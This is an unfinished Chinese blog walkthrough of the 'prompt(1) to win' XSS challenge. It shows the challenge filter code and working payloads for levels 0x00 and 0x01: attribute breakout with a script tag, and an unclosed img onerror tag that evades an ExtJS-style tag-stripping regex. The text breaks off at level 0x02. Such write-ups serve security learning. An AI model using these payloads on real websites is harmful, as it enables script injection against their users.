prompt(1)-to-win-Write-Up

2017/07/28 XSS(未完成)

介绍

关于站点

这个站点的灵感来自于alert(1) to win。在没有用户交互的情况下调用prompt(1)就算作成功。

0x00

第一题源码是这样的

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}        

此处的input就是你输入的所在位置。第一题源码很简单,先使用1">,句子成为<input type="text" value="1"> ">这样就使闭合掉了。这时候就可以随心所欲的写入xss语句了。例如最常见的语句<script>prompt(1)</script>。拼合起来就是Payload:

1"><script>prompt(1)</script>

0x01

源码如下,这里用正则全局匹配过滤了<xxx>,那我们就构造<xxx不加上>。这种要求img标签可以实现,所以<img src="#" onerror=prompt(1)。但是现在处于<article>标签下,所以使用//注释符注释掉,这样img标签就不在article便签下,也就能正常工作了。

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}      

所以最后的Payload如下: <img src="#" onerror=prompt(1)//

0x02

源码源码源码~~~

 function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}   

=(被过滤了,

转载请注明:碎雪的小屋 » 0x00-X-Man夏令营

Show Disqus Comments

Search

    Table of Contents